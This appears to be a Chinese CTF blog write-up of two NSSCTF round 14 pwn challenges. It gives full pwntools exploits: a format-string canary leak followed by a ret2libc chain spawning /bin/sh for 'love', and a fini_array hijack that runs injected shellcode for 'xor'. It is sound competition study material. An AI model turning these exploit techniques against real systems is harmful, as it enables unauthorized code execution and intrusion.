NSSround14wp

本次round14只打了一题,(没报零真是太好了),赛后在@摸鱼の猫 师傅的指点下又解决了一题

round14

也许是目录

  • love
  • xor

Love

PS: 做题都能看到Toka,我直接狂喜-ing

👉 点击下载附件

loveMain

发现main又格式化漏洞,程序开了canary保护

所以思路就是:利用printf改写v4使其等于v5,并且泄露canary

lovevuln

然后进入vuln函数就是一个简单的溢出

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import *
from ctypes import *
context.log_level = "debug"

#io = process("./pwn")
io = remote('node3.anna.nssctf.cn', 28037)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

def s(payload: bytes | str) -> None:
return io.send(payload)

def sl(payload: bytes | str) -> None:
return io.sendline(payload)

def sa(message: str, payload: bytes | str) -> bytes | str:
return io.sendafter(message, payload)

def sla(message: str, payload: bytes | str) -> bytes | str:
return io.sendlineafter(message, payload)

def r(numb = None, timeout: float = 5) -> bytes | str:
return io.recv(numb, timeout)

def rl() -> bytes | str:
return io.recvline()

def ru(message, drop: bool = False, timeout: float = 5) -> bytes | str:
return io.recvuntil(message, drop=drop, timeout=timeout)

def get_addr() -> int:
return u64(ru(b"\x7f")[-6:].ljust(8, b"\x00"))

def get_libc(fn_name: str, fn_addr: int) -> LibcSearcher:
return LibcSearcher(fn_name, fn_addr)

def i() -> None:
return io.interactive()

rdi = 0x4013f3
r()
payload = b'%520c%9$n.%15$p'
s(payload)
res = r().split(b'.')
canary = int(res[1], 16)
log.info("canary: " + hex(canary))
ru(b'my level\n')
# leak libc_base
payload = b'a'*0x28 + p64(canary) + b'a'*8
payload += p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40125d)# 这里记得返回到vuln,别返回到main啦,要不然又要再利用一遍printf了
sl(payload)
libc_base = get_addr() - libc.sym['puts']
log.info("libc_base: " + hex(libc_base))
ru(b'my level\n')
# get shell
ret = 0x40101a
payload = b'a'*0x28 + p64(canary) + b'a'*8 + p64(ret)
payload += p64(rdi) + p64(libc_base + libc.search(b'/bin/sh').__next__()) + p64(libc_base + libc.sym['system'])
sl(payload)
i()

xor

👉 点击下载附件

xorMain

flag在bss段,判断小于等于0跳出循环,xorByteWithAddress可以与任意地址数据异或,所以给高位异或一个0xFF(变成负数),基本上相当于无限循环(loop)了。

1
2
3
4
5
flag = 0x600bcc
ru(b'addr:')
sl(hex(flag+3)[2:])
ru(b'value: ')
sl(b'ff')

然后找一段rw(readable,writeable)区域写入shellcode

1
2
3
4
5
6
7
code = flag + 0x14 # 0x600be0, 随便找到的,只是把个位凑个0而已
sc = asm(shellcraft.sh())
for i in range(len(sc)):
ru(b'addr:')
sl(hex(code+i)[2:])
ru(b'value: ')
sl(hex(sc[i])[2:])

然后想办法触发shellcode,因为程序没有栈溢出,所以这里我们让程序自己触发。

由于在main结束后会跳转到_final_array储存的地址,这里把储存的地址改成我们写入的shellcode地址,然后再把flag高位异或一个0xff(变成0,也就是说flag变成正数,跳出循环,使main结束)

finalArray
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ret_addr = 0x600970
# 0x400610 to 0x600be0
ru(b'addr:')
sl(hex(ret_addr)[2:])
ru(b'value: ')
sl(hex(0x10^0xe0)[2:])
ru(b'addr:')
sl(hex(ret_addr+1)[2:])
ru(b'value: ')
sl(hex(0x06^0x0b)[2:])
ru(b'addr:')
sl(hex(ret_addr+2)[2:])
ru(b'value: ')
sl(hex(0x40^0x60)[2:])

# trigger
ru(b'addr:')
sl(hex(flag+3)[2:])
ru(b'value: ')
sl(b'ff')

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from LibcSearcher import *
from ctypes import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
context.os = "linux"

io = process("./pwn")
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

def s(payload: bytes | str) -> None:
return io.send(payload)

def sl(payload: bytes | str) -> None:
return io.sendline(payload)

def sa(message: str, payload: bytes | str) -> bytes | str:
return io.sendafter(message, payload)

def sla(message: str, payload: bytes | str) -> bytes | str:
return io.sendlineafter(message, payload)

def r(numb = None, timeout: float = 5) -> bytes | str:
return io.recv(numb, timeout)

def rl() -> bytes | str:
return io.recvline()

def ru(message, drop: bool = False, timeout: float = 5) -> bytes | str:
return io.recvuntil(message, drop=drop, timeout=timeout)

def get_addr() -> int:
return u64(ru(b"\x7f")[-6:].ljust(8, b"\x00"))

def get_libc(fn_name: str, fn_addr: int) -> LibcSearcher:
return LibcSearcher(fn_name, fn_addr)

def inter() -> None:
return io.interactive()


flag = 0x600bcc
ru(b'addr:')
sl(hex(flag+3)[2:])
ru(b'value: ')
sl(b'ff')

code = flag + 0x14 # 0x600be0
sc = asm(shellcraft.sh())
for i in range(len(sc)):
ru(b'addr:')
sl(hex(code+i)[2:])
ru(b'value: ')
sl(hex(sc[i])[2:])

ret_addr = 0x600970
# 0x400610 > 0x600be0
ru(b'addr:')
sl(hex(ret_addr)[2:])
ru(b'value: ')
sl(hex(0x10^0xe0)[2:])
ru(b'addr:')
sl(hex(ret_addr+1)[2:])
ru(b'value: ')
sl(hex(0x06^0x0b)[2:])
ru(b'addr:')
sl(hex(ret_addr+2)[2:])
ru(b'value: ')
sl(hex(0x40^0x60)[2:])

# trigger
ru(b'addr:')
sl(hex(flag+3)[2:])
ru(b'value: ')
sl(b'ff')

inter()

Welcome to my other publishing channels